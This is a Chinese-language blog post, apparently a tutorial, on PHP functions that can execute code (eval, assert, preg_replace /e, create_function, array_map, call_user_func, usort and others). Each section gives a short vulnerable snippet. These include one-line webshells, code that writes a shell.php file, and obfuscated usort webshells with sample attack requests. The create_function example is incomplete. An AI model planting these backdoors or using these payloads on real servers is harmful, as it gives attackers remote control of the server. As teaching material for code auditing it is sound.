php代码执行

PHP中可以执行代码的函数,常用于编写一句话木马,可能导致代码执行漏洞

常见代码执行函数如

eval()、assert()、preg_replace()、create_function()

array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()

文件操作函数、动态函数($a($b))

漏洞危害:执行代码,写入webshell、控制服务器

1.eval() 

  eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:<?php eval($_POST[cmd])?>

2、assert()

   与eval类似,字符串被 assert() 当做 PHP 代码来执行,如:

示例代码:

<?php 
//?cmd=phpinfo()
assert($_REQUEST[cmd]); 
?>

3.preg_replace()+/e模式

  mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

  搜索subject中匹配pattern的部分, 以replacement进行替换。

  preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码

示例代码:

<?php 
//?cmd=phpinfo() 
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); 
?>

参考链接:https://blog.youkuaiyun.com/kuangmang/article/details/27170309

4.动态函数

  PHP函数直接由字符串拼接

代码示例:

<?php 
//?a=assert&b=phpinfo()
 $_GET['a']($_GET['b']);
?>

5.文件操作函数

  file_put_contents() 函数把一个字符串写入文件中。

  fputs() 函数写入文件

代码示例:

<?php 
$test='<?php eval($_POST[cmd]);?>'; 
file_put_contents('test1.php',$test); 
?> 

<?php 
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');
?>

file_put_contents函数第一个参数为文件名,若文件不存在,则创建一个

其中fopen以'w'模式打开文件,若文件不存在,则创建一个文件;

fputs()中的第一个参数必须是资源类型,这里就是fopen函数生成的文件句柄(属于资源类型)。

6、create_function()

第一部分:介绍php函数 create_function():

string create_function    ( string $args   , string $code   )

string $args 变量部分

string $code 方法代码部分

举例:

create_function('$fname','echo $fname."Zhang"')

类似于:

function fT($fname) {
  echo $fname."Zhang";
}

举一个官方提供的例子:

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc";
echo $newfunc(2, M_E) . "
";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>

第二部分:如何利用create_function()代码注入

测试环境版本:

apache +php 5.2、apache +php 5.3

有问题的代码:

实现原理:

由于id=2;}phpinfo();//

执行函数为:

源代码:
function fT($a) {
  echo "test".$a;
}

注入后代码:
function fT($a) {
  echo "test";}
  phpinfo();/*;//此处为注入代码。
}

7.array_map()

  array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

 代码示例:

<?php

//?func=system&cmd=whoami

$func=$_GET['func'];

$cmd=$_GET['cmd'];

$array[0]=$cmd;

$new_array=array_map($func,$array);

//print_r($new_array);

?>

8.call_user_func()/call_user_func_array ()

  call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。

  call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

<?php 
//?cmd=phpinfo() 
@call_user_func(assert,$_GET['cmd']);
?> 

<?php 
//?cmd=phpinfo() 
$cmd=$_GET['cmd']; 
$array[0]=$cmd; 
call_user_func_array("assert",$array); 
?>

 9、array_filter()

  array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

  依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变

<?php 
//?func=system&cmd=whoami 
$cmd=$_GET['cmd']; 
$array1=array($cmd); 
$func =$_GET['func']; 
array_filter($array1,$func); 
?>

10、usort()、uasort()

  usort() 通过用户自定义的比较函数对数组进行排序。

  uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。

代码示例:

php环境>=5.6才能用
<?php usort(...$_GET);?>
利用方式:
test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
[POST]:x=phpinfo();

php环境>=5.6才能用
<?php usort($_GET,'asse'.'rt');?>
利用方式:
test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();

参考链接:http://www.cnblogs.com/xiaozi/p/7834367.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值